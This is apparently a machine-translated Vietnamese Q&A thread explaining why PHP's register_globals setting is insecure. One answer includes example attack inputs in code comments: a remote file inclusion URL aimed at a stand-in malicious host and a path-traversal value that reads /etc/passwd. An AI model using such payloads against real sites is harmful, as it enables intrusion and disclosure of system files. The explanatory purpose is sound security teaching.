2009-09-13 33 views

Trả lời

12

REGISTER_GLOBALS có nghĩa là tất cả các biến được chuyển qua GET hoặc POST đều có thể avilable dưới dạng biến toàn cục trong tập lệnh của bạn. Kể từ khi truy cập biến không khai báo không phải là một lỗi trong PHP (đó là một cảnh báo), nó có thể dẫn đến tình huống rất khó chịu. Xem xét việc này, ví dụ:

<?php 
// $debug = true; 
if ($debug) { 
    echo "query: $query\n"; 
} 

Nó không phải là một điều xấu cho mỗi gia nhập (cũng thiết kế mã không nên tạo ra cảnh báo, do đó không nên truy cập vào bất kỳ biến mà có thể được không khai báo (và không nên cầnREGISTER_GLOBALS cho cùng một lý do)), nhưng mã PHP thường [rất] chất lượng thấp, dẫn đến loại lỗ hổng bảo mật này.

+21

"mã PHP thường là [rất] chất lượng thấp" - nói cho chính mình – OIS

+5

Thường = luôn!. Nhưng tôi khuyên bạn nên duyệt qua nguồn của một số CMS nguồn mở. Bạn sẽ tìm thấy nhiều 'eval()', 'erege_replace()' và 'REGISTER_GLOBALS' hơn bạn mong đợi.Lưu ý: Tôi là một nhà phát triển php bản thân mình. – soulmerge

+0

Cố gắng đọc biến không xác định là khó chịu. Bạn sẽ không gặp vấn đề đó với '$ debug = false;'. – Gumbo

2

Bởi vì nó cho phép người dùng tiêm bất kỳ biến toàn cầu nào trong mã của bạn mà không có bất kỳ kiểm soát nào.

Dựa trên chất lượng của mã, nó có thể đưa ra các lỗi bảo mật chính.

9

Bật REGISTER_GLOBALS hiển thị các trang web được PHP phân phối tới các lỗ hổng mà một số kẻ xấu sẽ muốn khai thác.

Với nó được kích hoạt, bất kỳ chuỗi truy vấn vào cuối URL:

http://yourdomain/something.php?valid=true 

sẽ ảnh hưởng đến giá trị của một biến $ hợp lệ (ví dụ) trong something.php, nếu nó tồn tại.

Nếu bạn đang sử dụng mã PHP có sẵn công khai (ví dụ như thư viện), tên của các biến sẽ được biết rõ và tin tặc có thể kiểm soát giá trị của chúng bằng cách gán giá trị trong chuỗi truy vấn. Họ có thể bỏ qua xác thực.

Thậm chí nếu bạn không sử dụng mã công cộng, có thể đoán tên của các biến quan trọng và kiểm soát giá trị của chúng.

Nó từng là mặc định để có register_globals được kích hoạt trong PHP.INI

thực hành gần đây đã được vô hiệu hóa nó theo mặc định. Kích hoạt nó có nguy cơ của riêng bạn!

3

Chỉ cần thêm, đây là một số tình huống mà có REGISTER_GLOBALS kích hoạt có thể làm hỏng ngày của bạn:

Sử dụng chuỗi truy vấn để bỏ qua điều khiển truy cập (hack bằng http://example.com/?logged=1):

<?php 
$logged = User::getLogged(); 
if ($logged) 
{ 
    include '/important/secret.php'; 
} 
?> 

từ xa Bao gồm tệp (RFI):

<?php 
    //http://example.com/?path=http://evilbadthings.example.com/ 
    include "$path"; 
?> 

Local file Inclusion (LFI):

<?php 
    //http://example.com/?path=../../../../etc/passwd 
    include "$path"; 
?> 
+10

Ví dụ đầu tiên của bạn không bị tổn hại vì giá trị '$ log' được xác định bởi giá trị trả về của' User :: getLogged'. – Gumbo

Các vấn đề liên quan